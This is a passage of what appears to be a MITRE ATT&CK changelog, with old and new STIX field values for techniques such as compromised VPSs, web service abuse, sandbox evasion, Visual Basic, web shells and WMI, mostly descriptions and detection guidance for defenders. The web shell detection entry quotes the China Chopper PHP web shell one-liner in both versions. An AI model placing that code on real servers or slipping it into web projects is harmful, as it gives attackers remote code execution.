| > | le, such as Command and Control, can allow adversaries to be | > | l, can allow adversaries to benefit from the ubiquity and tr | ||
| > | nefit from the ubiquity and trust associated with higher rep | > | ust associated with higher reputation cloud service provider | ||
| > | utation cloud service providers as well as that added by the | > | s as well as that added by the compromised third-party. | ||
| > | compromised third-party. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:01:45.792000+00:00 | 2021-10-17 15:59:02.770000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. | Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various means to detect and avoid vir | t | 1 | Adversaries may employ various means to detect and avoid vir |
| > | tualization and analysis environments. This may include chan | > | tualization and analysis environments. This may include chan | ||
| > | ging behaviors based on the results of checks for the presen | > | ging behaviors based on the results of checks for the presen | ||
| > | ce of artifacts indicative of a virtual machine environment | > | ce of artifacts indicative of a virtual machine environment | ||
| > | (VME) or sandbox. If the adversary detects a VME, they may a | > | (VME) or sandbox. If the adversary detects a VME, they may a | ||
| > | lter their malware to disengage from the victim or conceal t | > | lter their malware to disengage from the victim or conceal t | ||
| > | he core functions of the implant. They may also search for V | > | he core functions of the implant. They may also search for V | ||
| > | ME artifacts before dropping secondary or additional payload | > | ME artifacts before dropping secondary or additional payload | ||
| > | s. Adversaries may use the information learned from [Virtual | > | s. Adversaries may use the information learned from [Virtual | ||
| > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | > | ization/Sandbox Evasion](https://attack.mitre.org/techniques | ||
| > | /T1497) during automated discovery to shape follow-on behavi | > | /T1497) during automated discovery to shape follow-on behavi | ||
| > | ors. Adversaries may use several methods to accomplish [Vi | > | ors.(Citation: Deloitte Environment Awareness) Adversaries | ||
| > | rtualization/Sandbox Evasion](https://attack.mitre.org/techn | > | may use several methods to accomplish [Virtualization/Sandbo | ||
| > | iques/T1497) such as checking for security monitoring tools | > | x Evasion](https://attack.mitre.org/techniques/T1497) such a | ||
| > | (e.g., Sysinternals, Wireshark, etc.) or other system artifa | > | s checking for security monitoring tools (e.g., Sysinternals | ||
| > | cts associated with analysis or virtualization. Adversaries | > | , Wireshark, etc.) or other system artifacts associated with | ||
| > | may also check for legitimate user activity to help determin | > | analysis or virtualization. Adversaries may also check for | ||
| > | e if it is in an analysis environment. Additional methods in | > | legitimate user activity to help determine if it is in an an | ||
| > | clude use of sleep timers or loops within malware code to av | > | alysis environment. Additional methods include use of sleep | ||
| > | oid operating within a temporary sandbox.(Citation: Unit 42 | > | timers or loops within malware code to avoid operating withi | ||
| > | Pirpi July 2015) | > | n a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.272000+00:00 | 2021-10-18 14:57:48.989000+00:00 |
| description | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015) |
| external_references[1]['source_name'] | Unit 42 Pirpi July 2015 | Deloitte Environment Awareness |
| external_references[1]['description'] | Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Pirpi July 2015', 'description': 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is | t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is |
| > | a programming language created by Microsoft with interopera | > | a programming language created by Microsoft with interopera | ||
| > | bility with many Windows technologies such as [Component Obj | > | bility with many Windows technologies such as [Component Obj | ||
| > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | ||
| > | d the [Native API](https://attack.mitre.org/techniques/T1106 | > | d the [Native API](https://attack.mitre.org/techniques/T1106 | ||
| > | ) through the Windows API. Although tagged as legacy with no | > | ) through the Windows API. Although tagged as legacy with no | ||
| > | planned future evolutions, VB is integrated and supported i | > | planned future evolutions, VB is integrated and supported i | ||
| > | n the .NET Framework and cross-platform .NET Core.(Citation: | > | n the .NET Framework and cross-platform .NET Core.(Citation: | ||
| > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | ||
| > | ages based on VB have also been created, such as Visual Basi | > | ages based on VB have also been created, such as Visual Basi | ||
| > | c for Applications (VBA) and VBScript. VBA is an event-drive | > | c for Applications (VBA) and VBScript. VBA is an event-drive | ||
| > | n programming language built into Microsoft Office, as well | > | n programming language built into Microsoft Office, as well | ||
| > | as several third-party applications.(Citation: Microsoft VBA | > | as several third-party applications.(Citation: Microsoft VBA | ||
| > | )(Citation: Wikipedia VBA) VBA enables documents to contain | > | )(Citation: Wikipedia VBA) VBA enables documents to contain | ||
| > | macros used to automate the execution of tasks and other fun | > | macros used to automate the execution of tasks and other fun | ||
| > | ctionality on the host. VBScript is a default scripting lang | > | ctionality on the host. VBScript is a default scripting lang | ||
| > | uage on Windows hosts and can also be used in place of [Java | > | uage on Windows hosts and can also be used in place of [Java | ||
| > | Script/JScript](https://attack.mitre.org/techniques/T1059/00 | > | Script](https://attack.mitre.org/techniques/T1059/007) on HT | ||
| > | 7) on HTML Application (HTA) webpages served to Internet Exp | > | ML Application (HTA) webpages served to Internet Explorer (t | ||
| > | lorer (though most modern browsers do not come with VBScript | > | hough most modern browsers do not come with VBScript support | ||
| > | support).(Citation: Microsoft VBScript) Adversaries may us | > | ).(Citation: Microsoft VBScript) Adversaries may use VB pay | ||
| > | e VB payloads to execute malicious commands. Common maliciou | > | loads to execute malicious commands. Common malicious usage | ||
| > | s usage includes automating execution of behaviors with VBSc | > | includes automating execution of behaviors with VBScript or | ||
| > | ript or embedding VBA content into [Spearphishing Attachment | > | embedding VBA content into [Spearphishing Attachment](https: | ||
| > | ](https://attack.mitre.org/techniques/T1566/001) payloads. | > | //attack.mitre.org/techniques/T1566/001) payloads. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 20:09:39.122000+00:00 | 2021-08-16 21:03:21.051000+00:00 |
| description | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. |
| x_mitre_data_sources[0] | DLL monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process monitoring | Script: Script Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise access to third-party web service |
| > | ess to third-party web services that can be used during targ | > | s that can be used during targeting. A variety of popular we | ||
| > | eting. A variety of popular websites exist for legitimate us | > | bsites exist for legitimate users to register for web-based | ||
| > | ers to register for web-based services, such as GitHub, Twit | > | services, such as GitHub, Twitter, Dropbox, Google, etc. Adv | ||
| > | ter, Dropbox, Google, etc. Adversaries may try to take owner | > | ersaries may try to take ownership of a legitimate user's ac | ||
| > | ship of a legitimate user's access to a web service and use | > | cess to a web service and use that web service as infrastruc | ||
| > | that web service as infrastructure in support of cyber opera | > | ture in support of cyber operations. Such web services can b | ||
| > | tions. Such web services can be abused during later stages o | > | e abused during later stages of the adversary lifecycle, suc | ||
| > | f the adversary lifecycle, such as during Command and Contro | > | h as during Command and Control ([Web Service](https://attac | ||
| > | l ([Web Service](https://attack.mitre.org/techniques/T1102)) | > | k.mitre.org/techniques/T1102)) or [Exfiltration Over Web Ser | ||
| > | or [Exfiltration Over Web Service](https://attack.mitre.org | > | vice](https://attack.mitre.org/techniques/T1567).(Citation: | ||
| > | /techniques/T1567).(Citation: Recorded Future Turla Infra 20 | > | Recorded Future Turla Infra 2020) Using common services, suc | ||
| > | 20) Using common services, such as those offered by Google o | > | h as those offered by Google or Twitter, makes it easier for | ||
| > | r Twitter, makes it easier for adversaries to hide in expect | > | adversaries to hide in expected noise. By utilizing a web s | ||
| > | ed noise. By utilizing a web service, particularly when acce | > | ervice, particularly when access is stolen from legitimate u | ||
| > | ss is stolen from legitimate users, adversaries can make it | > | sers, adversaries can make it difficult to physically tie ba | ||
| > | difficult to physically tie back operations to them. | > | ck operations to them. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:02:30.304000+00:00 | 2021-10-17 16:01:48.047000+00:00 |
| description | Before compromising a victim, adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. | Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may register for w | t | 1 | Adversaries may register for web services that can be used d |
| > | eb services that can be used during targeting. A variety of | > | uring targeting. A variety of popular websites exist for adv | ||
| > | popular websites exist for adversaries to register for a web | > | ersaries to register for a web-based service that can be abu | ||
| > | -based service that can be abused during later stages of the | > | sed during later stages of the adversary lifecycle, such as | ||
| > | adversary lifecycle, such as during Command and Control ([W | > | during Command and Control ([Web Service](https://attack.mit | ||
| > | eb Service](https://attack.mitre.org/techniques/T1102)) or [ | > | re.org/techniques/T1102)) or [Exfiltration Over Web Service] | ||
| > | Exfiltration Over Web Service](https://attack.mitre.org/tech | > | (https://attack.mitre.org/techniques/T1567). Using common se | ||
| > | niques/T1567). Using common services, such as those offered | > | rvices, such as those offered by Google or Twitter, makes it | ||
| > | by Google or Twitter, makes it easier for adversaries to hid | > | easier for adversaries to hide in expected noise. By utiliz | ||
| > | e in expected noise. By utilizing a web service, adversaries | > | ing a web service, adversaries can make it difficult to phys | ||
| > | can make it difficult to physically tie back operations to | > | ically tie back operations to them. | ||
| > | them. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.456000+00:00 | 2021-10-17 15:45:01.956000+00:00 |
| description | Before compromising a victim, adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. | Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). | Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Arnim Rupp, Deutsche Lufthansa AG'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:34:19.752000+00:00 | 2021-07-26 13:46:47.993000+00:00 |
| external_references[3]['source_name'] | US-CERT Alert TA15-314A Web Shells | NSA Cyber Mitigating Web Shells |
| external_references[3]['description'] | US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. | NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA15-314A | https://github.com/nsacyber/Mitigating-Web-Shells |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | File: File Modification |
| x_mitre_data_sources[2] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Authentication logs | Network Traffic: Network Traffic Content |
| x_mitre_detection | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd.exe or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
<?php @eval($_POST['password']);>
Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)
File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)
Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'} | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Windows Management Instrumentation (WM | t | 1 | Adversaries may abuse Windows Management Instrumentation (WM |
| > | I) to achieve execution. WMI is a Windows administration fea | > | I) to execute malicious commands and payloads. WMI is an adm | ||
| > | ture that provides a uniform environment for local and remot | > | inistration feature that provides a uniform environment to a | ||
| > | e access to Windows system components. It relies on the WMI | > | ccess Windows system components. The WMI service enables bot | ||
| > | service for local and remote access and the server message b | > | h local and remote access, though the latter is facilitated | ||
| > | lock (SMB) (Citation: Wikipedia SMB) and Remote Procedure Ca | > | by [Remote Services](https://attack.mitre.org/techniques/T10 | ||
| > | ll Service (RPCS) (Citation: TechNet RPC) for remote access. | > | 21) such as [Distributed Component Object Model](https://att | ||
| > | RPCS operates over port 135. (Citation: MSDN WMI) An adver | > | ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo | ||
| > | sary can use WMI to interact with local and remote systems a | > | te Management](https://attack.mitre.org/techniques/T1021/006 | ||
| > | nd use it as a means to perform many tactic functions, such | > | ) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operate | ||
| > | as gathering information for Discovery and remote Execution | > | s using port 135, whereas WMI over WinRM operates over port | ||
| > | of files as part of Lateral Movement. (Citation: FireEye WMI | > | 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI | ||
| > | SANS 2015) (Citation: FireEye WMI 2015) | > | ) (Citation: FireEye WMI 2015) An adversary can use WMI to | ||
| > | interact with local and remote systems and use it as a means | ||||
| > | to execute various behaviors, such as gathering information | ||||
| > | for Discovery as well as remote Execution of files as part | ||||
| > | of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Cita | ||||
| > | tion: FireEye WMI 2015) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['@ionstorm'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_system_requirements | ['WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:50:51.258000+00:00 | 2021-10-15 23:58:07.715000+00:00 |
| description | Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) | Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015) An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) |
| external_references[1]['source_name'] | Wikipedia SMB | MSDN WMI |
| external_references[1]['description'] | Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016. | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Server_Message_Block | https://msdn.microsoft.com/en-us/library/aa394582.aspx |
| external_references[2]['source_name'] | TechNet RPC | FireEye WMI 2015 |
| external_references[2]['description'] | Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-us/library/cc787851.aspx | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[3]['source_name'] | MSDN WMI | FireEye WMI SANS 2015 |
| external_references[3]['description'] | Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[3]['url'] | https://msdn.microsoft.com/en-us/library/aa394582.aspx | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| x_mitre_data_sources[0] | Authentication logs | Command: Command Execution |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Connection Creation |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye WMI SANS 2015', 'description': "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'} | |
